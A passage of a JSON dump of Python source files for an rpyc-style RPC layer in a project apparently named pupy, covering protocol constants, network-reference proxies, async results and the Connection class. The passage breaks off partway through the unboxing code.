    "content": "\"\"\"\nConstants used by the protocol\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\n# messages\nMSG_REQUEST      = 1\nMSG_REPLY        = 2\nMSG_EXCEPTION    = 3\n\n# boxing\nLABEL_VALUE      = 1\nLABEL_TUPLE      = 2\nLABEL_LOCAL_REF  = 3\nLABEL_REMOTE_REF = 4\n\nLABEL_V1_SET     = 5\nLABEL_V1_DICT    = 6\nLABEL_V1_NAMED_TUPLE = 7\nLABEL_V1_LIST    = 8\n\n# action handlers\nHANDLE_PING        = 1\nHANDLE_CLOSE       = 2\nHANDLE_GETROOT     = 3\nHANDLE_GETATTR     = 4\nHANDLE_DELATTR     = 5\nHANDLE_SETATTR     = 6\nHANDLE_CALL        = 7\nHANDLE_CALLATTR    = 8\nHANDLE_REPR        = 9\nHANDLE_STR         = 10\nHANDLE_CMP         = 11\nHANDLE_HASH        = 12\nHANDLE_DIR         = 13\nHANDLE_PICKLE      = 14\nHANDLE_DEL         = 15\nHANDLE_INSPECT     = 16\nHANDLE_BUFFITER    = 17\nHANDLE_OLDSLICING  = 18\nHANDLE_MAX         = 19\n\n# optimized exceptions\nEXC_STOP_ITERATION = 1\n"
  },
  {
    "path": "pupy/network/lib/rpc/core/netref.py",
    "content": "\n\"\"\"\n**NetRef**: a transparent *network reference*. This module contains quite a lot\nof *magic*, so beware.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport inspect\nimport types\n\nfrom pupy.network.lib.compat import (\n    pickle, is_py3k, maxint, as_native_string\n)\n\nfrom . import consts\n\n\n_local_netref_attrs = frozenset([\n    '____conn__', '____oid__', '____refcount__', '___async_call__',\n    '___methods__',\n\n    '__class__', '__cmp__',\n    '__del__', '__delattr__',\n    '__dir__', '__doc__', '__getattr__', '__getattribute__', '__hash__',\n    '__init__', '__metaclass__', '__module__', '__new__', '__reduce__',\n    '__reduce_ex__', '__repr__', '__setattr__', '__slots__', '__str__',\n    '__weakref__', '__dict__', '__members__'\n])\n\"\"\"the set of attributes that are local to the netref object\"\"\"\n\n_builtin_types = [\n    type, object, bool, complex, dict, float, int, list,\n    slice, str, tuple, set, frozenset, Exception, type(None),\n    types.BuiltinFunctionType, types.GeneratorType,\n    types.MethodType, types.CodeType, types.FrameType,\n    types.TracebackType, types.ModuleType, types.FunctionType,\n\n    type(int.__add__),      # wrapper_descriptor\n    type((1).__add__),      # method-wrapper\n    type(iter([])),         # listiterator\n    type(iter(())),         # tupleiterator\n    type(iter(set())),      # setiterator\n]\n\n\"\"\"a list of types considered built-in (shared between connections)\"\"\"\n\ntry:\n    BaseException\nexcept NameError:\n    pass\nelse:\n    _builtin_types.append(BaseException)\n\nif is_py3k:\n    _builtin_types.extend([\n        bytes, bytearray, type(iter(range(10))), memoryview,\n    ])\n    xrange = range\nelse:\n    _builtin_types.extend([\n        basestring, unicode, long, xrange, type(iter(xrange(10))), file,\n        types.InstanceType, type, types.DictProxyType,\n    ])\n\n_normalized_builtin_types = dict(\n    ((t.__name__, t.__module__), t)\n    for t in _builtin_types\n)\n\n\nclass byref(object):\n    __slots__ = ('object',)\n\n    def __init__(self, obj):\n        self.object = obj\n\n\ndef syncreq(proxy, handler, *args):\n    \"\"\"Performs a synchronous request on the given proxy object.\n    Not intended to be invoked directly.\n\n    :param proxy: the proxy on which to issue the request\n    :param handler: the request handler (one of the ``HANDLE_XXX`` members of\n                    ``.protocol.consts``)\n    :param args: arguments to the handler\n\n    :raises: any exception raised by the operation will be raised\n    :returns: the result of the operation\n    \"\"\"\n    conn = object.__getattribute__(proxy, \"____conn__\")()\n    if not conn:\n        raise ReferenceError('weakly-referenced object no longer exists')\n    oid = object.__getattribute__(proxy, \"____oid__\")\n    return conn.sync_request(handler, oid, *args)\n\n\ndef asyncreq(proxy, handler, *args):\n    \"\"\"Performs an asynchronous request on the given proxy object.\n    Not intended to be invoked directly.\n\n    :param proxy: the proxy on which to issue the request\n    :param handler: the request handler (one of the ``HANDLE_XXX`` members of\n                    ``.protocol.consts``)\n    :param args: arguments to the handler\n\n    :returns: an :class:`AsyncResult <.core.async.AsyncResult>` representing\n              the operation\n    \"\"\"\n    conn = object.__getattribute__(proxy, \"____conn__\")()\n    if not conn:\n        raise ReferenceError('weakly-referenced object no longer exists')\n    oid = object.__getattribute__(proxy, \"____oid__\")\n    return conn.async_request(handler, oid, *args)\n\n\nclass NetrefMetaclass(type):\n    \"\"\"A *metaclass* used to customize the ``__repr__`` of ``netref`` classes.\n    It is quite useless, but it makes debugging and interactive programming\n    easier\"\"\"\n\n    __slots__ = ()\n\n    def __repr__(self):\n        if self.__module__:\n            return \"<netref class '%s.%s'>\" % (self.__module__, self.__name__)\n        else:\n            return \"<netref class '%s'>\" % (self.__name__,)\n\n\nclass BaseNetref(object):\n    \"\"\"The base netref class, from which all netref classes derive. Some netref\n    classes are \"pre-generated\" and cached upon importing this module (those\n    defined in the :data:`_builtin_types`), and they are shared between all\n    connections.\n\n    The rest of the netref classes are created by\n    :meth:`.core.protocl.Connection._unbox`, and are private to the connection.\n\n    Do not use this class directly; use :func:`class_factory` instead.\n\n    :param conn: the :class:`.core.protocol.Connection` instance\n    :param oid: the unique object ID of the remote object\n    \"\"\"\n    # this is okay with py3k -- see below\n\n    __metaclass__ = NetrefMetaclass\n    __slots__ = (\n        '____conn__', '____oid__', '__weakref__', '____refcount__',\n        '___async_call__'\n    )\n\n    def __init__(self, conn, oid):\n        self.____conn__ = conn\n        self.____oid__ = oid\n        self.____refcount__ = 1\n        self.___async_call__ = None\n\n    def __del__(self):\n        # print('DEL', repr((type(self), repr(self))))\n        try:\n            asyncreq(self, consts.HANDLE_DEL, self.____refcount__)\n        except Exception:\n            # raised in a destructor, most likely on program termination,\n            # when the connection might have already been closed.\n            # it's safe to ignore all exceptions here\n            pass\n\n    def __getattribute__(self, name):\n        methods = object.__getattribute__(self, '___methods__')\n        method = methods.get(name)\n        if method is not None:\n            bound_method = method.__get__(self)\n            setattr(\n                bound_method, '___async_call__',\n                method.___async_call__.__get__(self)\n            )\n\n            return bound_method\n\n        if name in _local_netref_attrs:\n            if name == '__class__':\n                cls = object.__getattribute__(self, '__class__')\n                if cls is None:\n                    cls = self.__getattr__('__class__')\n                return cls\n            elif name == '__doc__':\n                return self.__getattr__('__doc__')\n            elif name == '__members__':  # for Python < 2.6\n                return self.__dir__()\n            elif name == '___async_call__':\n                call = methods.get('__call__')\n                if call is None:\n                    return None\n\n                return call.___async_call__.__get__(self)\n            else:\n                return object.__getattribute__(self, name)\n        elif name == '__call__':  # IronPython issue #10\n            return object.__getattribute__(self, '__call__')\n        else:\n            # print('GETATTRIBUTE', repr((type(self), repr(name), repr(self))))\n            return syncreq(self, consts.HANDLE_GETATTR, name)\n\n    def __getattr__(self, name):\n        # print('GETATTR', repr((type(self), name)))\n        return syncreq(\n            self, consts.HANDLE_GETATTR,\n            as_native_string(name)\n        )\n\n    def __delattr__(self, name):\n        if name in _local_netref_attrs:\n            object.__delattr__(\n                self, as_native_string(name)\n            )\n        else:\n            # print('DELATTR', repr((type(self), name)))\n            asyncreq(\n                self, consts.HANDLE_DELATTR,\n                as_native_string(name)\n            )\n\n    def __setattr__(self, name, value):\n        if name in _local_netref_attrs:\n            object.__setattr__(\n                self, as_native_string(name), value\n            )\n        else:\n            # print('SETATTR', repr((type(self), name)))\n            asyncreq(\n                self, consts.HANDLE_SETATTR,\n                as_native_string(name), value\n            )\n\n    def __dir__(self):\n        # print('DIR', repr((type(self))))\n        return list(\n            as_native_string(key) for key in syncreq(\n                self, consts.HANDLE_DIR\n            )\n        )\n\n    # support for metaclasses\n    def __hash__(self):\n        # print('HASH', repr((type(self))))\n        return syncreq(self, consts.HANDLE_HASH)\n\n    def __iter__(self):\n        # print('ITER', repr((type(self))))\n        return syncreq(\n            self, consts.HANDLE_CALLATTR, '__iter__'\n        )\n\n    def __cmp__(self, other):\n        # print('CMP', repr((type(self))))\n        return syncreq(self, consts.HANDLE_CMP, other)\n\n    def __repr__(self):\n        # print('REPR', repr((type(self))))\n        # __repr__ MUST return string\n        return as_native_string(syncreq(self, consts.HANDLE_REPR))\n\n    def __str__(self):\n        # print('STR', repr((type(self))))\n        # __str__ MUST return string\n        return as_native_string(syncreq(self, consts.HANDLE_STR))\n\n    # support for pickling netrefs\n    def __reduce_ex__(self, proto):\n        return pickle.loads, (syncreq(self, consts.HANDLE_PICKLE, proto),)\n\n\nif not isinstance(BaseNetref, NetrefMetaclass):\n    # python 2 and 3 compatibe metaclass...\n    ns = dict(BaseNetref.__dict__)\n    for slot in BaseNetref.__slots__:\n        ns.pop(slot)\n    BaseNetref = NetrefMetaclass(BaseNetref.__name__, BaseNetref.__bases__, ns)\n\n\ndef _make_method(name, doc):\n    \"\"\"creates a method with the given name and docstring that invokes\n    :func:`syncreq` on its `self` argument\"\"\"\n\n    slicers = {\n        '__getslice__': '__getitem__',\n        '__delslice__': '__delitem__',\n        '__setslice__': '__setitem__'\n    }\n\n    name = as_native_string(name)  # IronPython issue #10\n    if name == '__call__':\n        def __call__(_self, *args, **kwargs):\n            kwargs = tuple(kwargs.items())\n\n            return syncreq(_self, consts.HANDLE_CALL, args, kwargs)\n\n        def ___async_call__(_self, *args, **kwargs):\n            kwargs = tuple(kwargs.items())\n\n            return asyncreq(_self, consts.HANDLE_CALL, args, kwargs)\n\n        __call__.__doc__ = doc\n        ___async_call__.__doc__ = doc + ' (async)'\n\n        setattr(__call__, '___async_call__', ___async_call__)\n        setattr(___async_call__, '___async_call__', ___async_call__)\n        return __call__\n\n    elif name in slicers:\n        def method(self, start, stop, *args):\n            if stop == maxint:\n                stop = None\n\n            return syncreq(\n                self, consts.HANDLE_OLDSLICING, slicers[name],\n                name, start, stop, args\n            )\n\n        def async_method(self, start, stop, *args):\n            if stop == maxint:\n                stop = None\n\n            return asyncreq(\n                self, consts.HANDLE_OLDSLICING, slicers[name],\n                name, start, stop, args\n            )\n\n        method.__name__ = name\n        method.__doc__ = doc\n\n        async_method.__name__ = name\n        async_method.__doc__ = doc + ' (async)'\n\n        setattr(method, '___async_call__', async_method)\n        setattr(async_method, '___async_call__', async_method)\n        return method\n\n    else:\n        def method(_self, *args, **kwargs):\n            kwargs = tuple(kwargs.items())\n            return syncreq(\n                _self, consts.HANDLE_CALLATTR, name, args, kwargs\n            )\n\n        def async_method(_self, *args, **kwargs):\n            # print(\"ASYNC METHOD CALL ARGS\", _self, args, kwargs)\n            kwargs = tuple(kwargs.items())\n            return asyncreq(\n                _self, consts.HANDLE_CALLATTR, name, args, kwargs\n            )\n\n        method.__name__ = name\n        method.__doc__ = doc\n\n        async_method.__name__ = name\n        async_method.__doc__ = doc + ' (async)'\n\n        setattr(method, '___async_call__', async_method)\n        setattr(async_method, '___async_call__', async_method)\n        return method\n\n\ndef inspect_methods(obj):\n    \"\"\"introspects the given (local) object, returning a list of all of its\n    methods (going up the MRO).\n\n    :param obj: any local (not proxy) python object\n\n    :returns: a list of ``(method name, docstring)`` tuples of all the methods\n              of the given object\n    \"\"\"\n    methods = {}\n    attrs = {}\n    if isinstance(obj, type):\n        # don't forget the darn metaclass\n        mros = list(reversed(type(obj).__mro__)) + list(reversed(obj.__mro__))\n    else:\n        mros = reversed(type(obj).__mro__)\n    for basecls in mros:\n        attrs.update(basecls.__dict__)\n    for name, attr in attrs.items():\n        if name not in _local_netref_attrs and hasattr(attr, \"__call__\"):\n            methods[name] = inspect.getdoc(attr)\n    return methods.items()\n\n\ndef class_factory(clsname, modname, methods):\n    \"\"\"Creates a netref class proxying the given class\n\n    :param clsname: the class's name\n    :param modname: the class's module name\n    :param methods: a list of ``(method name, docstring)`` tuples, of the methods\n                    that the class defines\n\n    :returns: a netref class\n    \"\"\"\n    clsname = as_native_string(clsname)\n    modname = as_native_string(modname)\n\n    ns = {\n        '__slots__': (),\n        '___methods__': {}\n    }\n\n    for name, doc in methods:\n        name = as_native_string(name)\n        doc = as_native_string(doc) if doc else ''\n\n        if name == 'next':\n            ns['__next__'] = _make_method(name, doc)\n\n        if name not in _local_netref_attrs:\n            wrapper = _make_method(name, doc)\n            ns[name] = wrapper\n            ns['___methods__'][name] = wrapper\n\n    ns['__module__'] = modname\n\n    if modname in sys.modules and hasattr(sys.modules[modname], clsname):\n        ns['__class__'] = getattr(sys.modules[modname], clsname)\n\n    elif (clsname, modname) in _normalized_builtin_types:\n        ns['__class__'] = _normalized_builtin_types[clsname, modname]\n\n    else:\n        # to be resolved by the instance\n        ns['__class__'] = None\n\n    return type(clsname, (BaseNetref,), ns)\n\n\nbuiltin_classes_cache = {}\n\"\"\"The cache of built-in netref classes (each of the types listed in\n:data:`_builtin_types`). These are shared between all  connections\"\"\"\n\n\n# init the builtin_classes_cache\nfor cls in _builtin_types:\n    builtin_classes_cache[cls.__name__, cls.__module__] = class_factory(\n        cls.__name__, cls.__module__, inspect_methods(cls))\n"
  },
  {
    "path": "pupy/network/lib/rpc/core/nowait.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport time\n\n\nclass AsyncResultTimeout(Exception):\n    \"\"\"an exception that represents an :class:`AsyncResult` that has timed out\"\"\"\n    pass\n\n\nclass AsyncResult(object):\n    \"\"\"*AsyncResult* represents a computation that occurs in the background and\n    will eventually have a result. Use the :attr:`value` property to access the\n    result (which will block if the result has not yet arrived).\n    \"\"\"\n    __slots__ = [\"_conn\", \"_is_ready\", \"_is_exc\", \"_callbacks\", \"_obj\", \"_ttl\"]\n\n    def __init__(self, conn):\n        self._conn = conn\n        self._is_ready = False\n        self._is_exc = None\n        self._obj = None\n        self._callbacks = []\n        self._ttl = None\n\n    def __repr__(self):\n        if self._is_ready:\n            state = \"ready\"\n        elif self._is_exc:\n            state = \"error\"\n        elif self.expired:\n            state = \"expired\"\n        else:\n            state = \"pending\"\n        return \"<AsyncResult object (%s) at 0x%08x>\" % (state, id(self))\n\n    def __call__(self, is_exc, obj):\n        if self.expired:\n            return\n        self._is_exc = is_exc\n        self._obj = obj\n        self._is_ready = True\n        for cb in self._callbacks:\n            cb(self)\n        del self._callbacks[:]\n\n    def wait(self):\n        \"\"\"Waits for the result to arrive. If the AsyncResult object has an\n        expiry set, and the result did not arrive within that timeout,\n        an :class:`AsyncResultTimeout` exception is raised\"\"\"\n        if self._is_ready:\n            return\n        if self._ttl is None:\n            while not self._is_ready:\n                self._conn.serve()\n        else:\n            while True:\n                timeout = self._ttl - time.time()\n                self._conn.poll(timeout = max(timeout, 0))\n                if self._is_ready:\n                    break\n                if timeout <= 0:\n                    raise AsyncResultTimeout(\"result expired\")\n\n    def add_callback(self, func):\n        \"\"\"Adds a callback to be invoked when the result arrives. The callback\n        function takes a single argument, which is the current AsyncResult\n        (``self``). If the result has already arrived, the function is invoked\n        immediately.\n\n        :param func: the callback function to add\n        \"\"\"\n        if self._is_ready:\n            func(self)\n        else:\n            self._callbacks.append(func)\n\n    def set_expiry(self, timeout):\n        \"\"\"Sets the expiry time (in seconds, relative to now) or ``None`` for\n        unlimited time\n\n        :param timeout: the expiry time in seconds or ``None``\n        \"\"\"\n        if timeout is None:\n            self._ttl = None\n        else:\n            self._ttl = time.time() + timeout\n\n    @property\n    def ready(self):\n        \"\"\"Indicates whether the result has arrived\"\"\"\n        if self.expired:\n            return False\n        if not self._is_ready:\n            self._conn.poll_all()\n        return self._is_ready\n\n    @property\n    def error(self):\n        \"\"\"Indicates whether the returned result is an exception\"\"\"\n        if self.ready:\n            return self._is_exc\n        return False\n\n    @property\n    def expired(self):\n        \"\"\"Indicates whether the AsyncResult has expired\"\"\"\n        if self._is_ready or self._ttl is None:\n            return False\n        else:\n            return time.time() > self._ttl\n\n    @property\n    def value(self):\n        \"\"\"Returns the result of the operation. If the result has not yet\n        arrived, accessing this property will wait for it. If the result does\n        not arrive before the expiry time elapses, :class:`AsyncResultTimeout`\n        is raised. If the returned result is an exception, it will be raised\n        here. Otherwise, the result is returned directly.\n        \"\"\"\n        self.wait()\n        if self._is_exc:\n            raise self._obj\n        else:\n            return self._obj\n"
  },
  {
    "path": "pupy/network/lib/rpc/core/protocol.py",
    "content": "\"\"\"\nThe  protocol\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\nimport weakref\nimport itertools\nimport socket\nimport time\n\nfrom threading import Lock, RLock, Event, Thread\nfrom pupy.network.lib.compat import (\n    pickle, next, is_py3k, maxint, select_error, as_native_string\n)\nfrom ..lib.colls import WeakValueDict, RefCountingColl\nfrom ..lib import get_methods\nfrom . import consts, brine, vinegar, netref\nfrom .nowait import AsyncResult\n\n\nclass PingError(Exception):\n    \"\"\"The exception raised should :func:`Connection.ping` fail\"\"\"\n    pass\n\n\nDEFAULT_CONFIG = {\n    # ATTRIBUTES\n    'allow_safe_attrs': True,\n    'allow_exposed_attrs': True,\n    'allow_public_attrs': False,\n    'allow_all_attrs': False,\n    'safe_attrs': {\n        '__abs__', '__add__', '__and__', '__bool__', '__cmp__', '__contains__',\n        '__delitem__', '__delslice__', '__div__', '__divmod__', '__doc__',\n        '__eq__', '__float__', '__floordiv__', '__ge__', '__getitem__',\n        '__getslice__', '__gt__', '__hash__', '__hex__', '__iadd__',\n        '__iand__', '__idiv__', '__ifloordiv__', '__ilshift__', '__imod__',\n        '__imul__', '__index__', '__int__', '__invert__', '__ior__',\n        '__ipow__', '__irshift__', '__isub__', '__iter__', '__itruediv__',\n        '__ixor__', '__le__', '__len__', '__long__', '__lshift__', '__lt__',\n        '__mod__', '__mul__', '__ne__', '__neg__', '__new__', '__nonzero__',\n        '__oct__', '__or__', '__pos__', '__pow__', '__radd__', '__rand__',\n        '__rdiv__', '__rdivmod__', '__repr__', '__rfloordiv__', '__rlshift__',\n        '__rmod__', '__rmul__', '__ror__', '__rpow__', '__rrshift__',\n        '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__setitem__',\n        '__setslice__', '__str__', '__sub__', '__truediv__', '__xor__', 'next',\n        '__length_hint__', '__enter__', '__exit__', '__next__'\n    },\n\n    'exposed_prefix': 'exposed_',\n    'allow_getattr': True,\n    'allow_setattr': False,\n    'allow_delattr': False,\n\n    # EXCEPTIONS\n    'include_local_traceback': True,\n    'instantiate_custom_exceptions': False,\n    'import_custom_exceptions': False,\n\n    # which don't derive from Exception\n    'instantiate_oldstyle_exceptions': False,\n\n    # whether to propagate SystemExit locally or to the other party\n    'propagate_SystemExit_locally': False,\n\n    # whether to propagate KeyboardInterrupt locally or to the other party\n    'propagate_KeyboardInterrupt_locally': True,\n    'log_exceptions': True,\n\n    # MISC\n    'allow_pickle': False,\n    'connid': None,\n    'credentials': None,\n    'endpoints': None,\n    'logger': None,\n    'sync_request_timeout': 30,\n}\n\n\n\"\"\"\nThe default configuration dictionary of the protocol. You can override these\nparameters\nby passing a different configuration dict to the :class:`Connection` class.\n\n.. note::\n   You only need to override the parameters you want to change. There's no need\n   to repeat parameters whose values remain unchanged.\n\n=======================================  ================  =====================================================\nParameter                                Default value     Description\n=======================================  ================  =====================================================\n``allow_safe_attrs``                     ``True``          Whether to allow the use of *safe* attributes\n                                                           (only those listed as ``safe_attrs``)\n``allow_exposed_attrs``                  ``True``          Whether to allow exposed attributes\n                                                           (attributes that start with the ``exposed_prefix``)\n``allow_public_attrs``                   ``False``         Whether to allow public attributes\n                                                           (attributes that don't start with ``_``)\n``allow_all_attrs``                      ``False``         Whether to allow all attributes (including private)\n``safe_attrs``                           ``set([...])``    The set of attributes considered safe\n``exposed_prefix``                       ``\"exposed_\"``    The prefix of exposed attributes\n``allow_getattr``                        ``True``          Whether to allow getting of attributes (``getattr``)\n``allow_setattr``                        ``False``         Whether to allow setting of attributes (``setattr``)\n``allow_delattr``                        ``False``         Whether to allow deletion of attributes (``delattr``)\n``allow_pickle``                         ``False``         Whether to allow the use of ``pickle``\n\n``include_local_traceback``              ``True``          Whether to include the local traceback\n                                                           in the remote exception\n``instantiate_custom_exceptions``        ``False``         Whether to allow instantiation of\n                                                           custom exceptions (not the built in ones)\n``import_custom_exceptions``             ``False``         Whether to allow importing of\n                                                           exceptions from not-yet-imported modules\n``instantiate_oldstyle_exceptions``      ``False``         Whether to allow instantiation of exceptions\n                                                           which don't derive from ``Exception``. This\n                                                           is not applicable for Python 3 and later.\n``propagate_SystemExit_locally``         ``False``         Whether to propagate ``SystemExit``\n                                                           locally (kill the server) or to the other\n                                                           party (kill the client)\n``propagate_KeyboardInterrupt_locally``  ``False``         Whether to propagate ``KeyboardInterrupt``\n                                                           locally (kill the server) or to the other\n                                                           party (kill the client)\n``logger``                               ``None``          The logger instance to use to log exceptions\n                                                           (before they are sent to the other party)\n                                                           and other events. If ``None``, no logging takes place.\n\n``connid``                               ``None``          **Runtime**: the  connection ID (used\n                                                           mainly for debugging purposes)\n``credentials``                          ``None``          **Runtime**: the credentails object that was returned\n                                                           by the server's :ref:`authenticator <api-authenticators>`\n                                                           or ``None``\n``endpoints``                            ``None``          **Runtime**: The connection's endpoints. This is a tuple\n                                                           made of the local socket endpoint (``getsockname``) and the\n                                                           remote one (``getpeername``). This is set by the server\n                                                           upon accepting a connection; client side connections\n                                                           do no have this configuration option set.\n\n``sync_request_timeout``                 ``30``            Default timeout for waiting results\n=======================================  ================  =====================================================\n\"\"\"\n\nlist_keys_type = type({}.keys())\n\n_connection_id_generator = itertools.count(1)\n\n\nclass Connection(object):\n    \"\"\"The  *connection* (AKA *protocol*).\n\n    :param service: the :class:`Service <.core.service.Service>` to expose\n    :param channel: the :class:`Channel <.core.channel.Channel>` over which messages are passed\n    :param config: the connection's configuration dict (overriding parameters\n                   from the :data:`default configuration <DEFAULT_CONFIG>`)\n    :param _lazy: whether or not to initialize the service with the creation of\n                  the connection. Default is True. If set to False, you will\n                  need to call :func:`_init_service` manually later\n    \"\"\"\n\n    __slots__ = (\n        '__weakref__',\n\n        '_closed', '_config', '_config', '_channel', '_seqcounter',\n        '_recvlock', '_sendlock', '_sync_replies', '_sync_lock',\n        '_sync_event', '_async_callbacks', '_local_objects',\n        '_last_traceback', '_proxy_cache', '_netref_classes_cache',\n        '_remote_root', '_send_queue', '_local_root', '_closed'\n    )\n\n    def __init__(self, service, channel, config={}, _lazy=False):\n        self._closed = True\n        self._config = DEFAULT_CONFIG.copy()\n        self._config.update(config)\n\n        if self._config[\"connid\"] is None:\n            self._config[\"connid\"] = \"conn%d\" % (\n                next(_connection_id_generator),\n            )\n\n        self._channel = channel\n        self._seqcounter = itertools.count()\n        self._recvlock = Lock()\n        self._sendlock = Lock()\n        self._sync_replies = {}\n        self._sync_lock = RLock()\n        self._sync_event = Event()\n        self._async_callbacks = {}\n        self._local_objects = RefCountingColl()\n        self._last_traceback = None\n        self._proxy_cache = WeakValueDict()\n        self._netref_classes_cache = {}\n        self._remote_root = None\n        self._send_queue = []\n        self._local_root = service(weakref.proxy(self))\n        if not _lazy:\n            self._init_service()\n        self._closed = False\n\n    def _init_service(self):\n        self._local_root.on_connect()\n\n    def __del__(self):\n        self.close()\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, t, v, tb):\n        self.close()\n\n    def __repr__(self):\n        a, b = object.__repr__(self).split(\" object \")\n        return \"%s %r object %s\" % (a, self._config[\"connid\"], b)\n\n    #\n    # IO\n    #\n    def _cleanup(self, _anyway=True):\n        if self._closed and not _anyway:\n            return\n        self._closed = True\n        self._channel.close()\n        self._local_root.on_disconnect()\n        self._sync_replies.clear()\n        self._async_callbacks.clear()\n        self._local_objects.clear()\n        self._proxy_cache.clear()\n        self._netref_classes_cache.clear()\n        self._last_traceback = None\n        self._remote_root = None\n        self._local_root = None\n\n    def close(self, _catchall=True):\n        \"\"\"closes the connection, releasing all held resources\"\"\"\n        if self._closed:\n            return\n        self._closed = True\n        try:\n            self._async_request(consts.HANDLE_CLOSE)\n        except EOFError:\n            pass\n        except Exception:\n            if not _catchall:\n                raise\n        finally:\n            self._cleanup(_anyway=True)\n\n    @property\n    def closed(self):\n        \"\"\"Indicates whether the connection has been closed or not\"\"\"\n        return self._closed\n\n    def fileno(self):\n        \"\"\"Returns the connectin's underlying file descriptor\"\"\"\n        return self._channel.fileno()\n\n    def ping(self, data=None, timeout=3):\n        \"\"\"\n        Asserts that the other party is functioning properly, by making sure\n        the *data* is echoed back before the *timeout* expires\n\n        :param data: the data to send (leave ``None`` for the default buffer)\n        :param timeout: the maximal time to wait for echo\n\n        :raises: :class:`PingError` if the echoed data does not match\n        \"\"\"\n        if data is None:\n            data = b'abcdefghijklmnopqrstuvwxyz' * 20\n        res = self.async_request(\n            consts.HANDLE_PING, data, timeout=timeout\n        )\n        if res.value != data:\n            raise PingError(\"echo mismatches sent data\")\n\n    def _get_seq_id(self):\n        return next(self._seqcounter)\n\n    def _send(self, msg, seq, args, version):\n        data = brine.dump((msg, seq, args), version)\n        # GC might run while sending data\n        # if so, a BaseNetref.__del__ might be called\n        # BaseNetref.__del__ must call asyncreq,\n        # which will cause a deadlock\n        # Solution:\n        # Add the current request to a queue and let the thread that currently\n        # holds the sendlock send it when it's done with its current job.\n        # NOTE: Atomic list operations should be thread safe,\n        # please call me out if they are not on all implementations!\n        self._send_queue.append(data)\n        # It is crucial to check the queue each time AFTER releasing the lock:\n        while self._send_queue:\n            if not self._sendlock.acquire(False):\n                # Another thread holds the lock. It will send the data after\n                # it's done with its current job. We can safely return.\n                return\n            try:\n                # Can happen if another consumer was scheduled in between\n                # `while` and `acquire`:\n                if not self._send_queue:\n                    # Must `continue` to ensure that `send_queue` is checked\n                    # after releasing the lock! (in case another producer is\n                    # scheduled before `release`)\n                    continue\n                data = self._send_queue.pop(0)\n                self._channel.send(data)\n            finally:\n                self._sendlock.release()\n\n    def _send_request(self, seq, handler, args, version=0):\n        self._send(\n            consts.MSG_REQUEST, seq, (\n                handler, self._box(args, version)\n            ), version\n        )\n\n    def _send_reply(self, seq, obj, version=0):\n        self._send(\n            consts.MSG_REPLY, seq, self._box(obj, version),\n            version\n        )\n\n    def _send_exception(self, seq, exctype, excval, exctb, version):\n        exc = vinegar.dump(\n            exctype, excval, exctb,\n            self._config[\"include_local_traceback\"],\n            version\n        )\n        self._send(\n            consts.MSG_EXCEPTION, seq, exc, version\n        )\n\n    #\n    # boxing\n    #\n    def _box(self, obj, version=0, copy_mutable=True):\n        \"\"\"store a local object in such a way that it could be recreated on\n        the remote party either by-value or by-reference\"\"\"\n\n        if isinstance(obj, netref.byref):\n            obj = obj.object\n            copy_mutable = False\n\n        if brine.dumpable(obj, version, copy_mutable=copy_mutable):\n            return consts.LABEL_VALUE, obj\n\n        elif type(obj) is tuple:\n            return consts.LABEL_TUPLE, tuple(\n                self._box(item, version, copy_mutable) for item in obj\n            )\n\n        elif isinstance(obj, netref.BaseNetref) and obj.____conn__() is self:\n            return consts.LABEL_LOCAL_REF, obj.____oid__\n\n        elif version > 0:\n            if copy_mutable and type(obj) is set:\n                return consts.LABEL_V1_SET, tuple(\n                    self._box(item, version, copy_mutable) for item in obj\n                )\n            elif (copy_mutable and type(obj) is list) or (\n                    is_py3k and type(obj) is list_keys_type):\n                return consts.LABEL_V1_LIST, tuple(\n                    self._box(item, version, copy_mutable) for item in obj\n                )\n\n            elif copy_mutable and type(obj) is dict:\n                return consts.LABEL_V1_DICT, tuple(\n                    (\n                        self._box(key, version, copy_mutable),\n                        self._box(value, version, copy_mutable)\n                    ) for key, value in obj.items()\n                )\n            elif isinstance(obj, tuple) and \\\n                    type(obj) in brine.REGISTERED_NAMED_TUPLES_PACK:\n                return consts.LABEL_V1_NAMED_TUPLE, (\n                    brine.REGISTERED_NAMED_TUPLES_PACK[type(obj)],\n                    tuple(\n                        self._box(item, version, copy_mutable) for item in obj\n                    )\n                )\n\n        self._local_objects.add(obj)\n        try:\n            cls = obj.__class__\n        except Exception:\n            # see issue #16\n            cls = type(obj)\n\n        if not isinstance(cls, type):\n            cls = type(obj)\n\n        return consts.LABEL_REMOTE_REF, (\n            id(obj), cls.__name__, cls.__module__\n        )\n\n    def _unbox(self, package, version=0):\n        \"\"\"recreate a local object representation of the remote object: if the\n        object is passed by value, just return it; if the object is passed by\n        reference, create a netref to it\"\"\"\n\n        label, value = package\n        if label == consts.LABEL_VALUE:\n            return value\n        elif label == consts.LABEL_TUPLE:\n            return tuple(self._unbox(item, version) for item in value)\n        elif label == consts.LABEL_LOCAL_REF:\n            return self._local_objects[value]\n        elif label == consts.LABEL_REMOTE_REF:\n            oid, clsname, modname = value\n            if oid in self._proxy_cache:\n                proxy = self._proxy_cache[oid]\n                # other side increased refcount on boxing,\n                # if I'm returning from cache instead of new object,\n                # must increase refcount to match\n                proxy.____refcount__ += 1\n                return proxy\n\n            proxy = self._netref_factory(oid, clsname, modname)\n            self._proxy_cache[oid] = proxy\n            return proxy\n        elif version > 0:\n            if label == consts.LABEL_V1_SET:\n                return set(\n                    self._unbox(item, version) for item in value\n                )\n            elif label == consts.LABEL_V1_LIST:\n                return list(\n                    self._unbox(item, version) for item in value\n                )\n            elif label == consts.LABEL_V1_NAMED_TUPLE:\n                tuple_id, values = value\n                if tuple_id not in brine.REGISTERED_NAMED_TUPLES_UNPACK:\n                    raise ValueError('Unexpected tuple id %s' % (tuple_id,))\n\n                tuple_type = brine.REGISTERED_NAMED_TUPLES_UNPACK[tuple_id]\n                return tuple_type(*tuple(\n                    self._unbox(item, version) for item in values\n                ))\n            elif label == consts.LABEL_V1_DICT:\n                return {\n                    self._unbox(key, version): self._unbox(value, version)\n                    for (key, value) in value\n                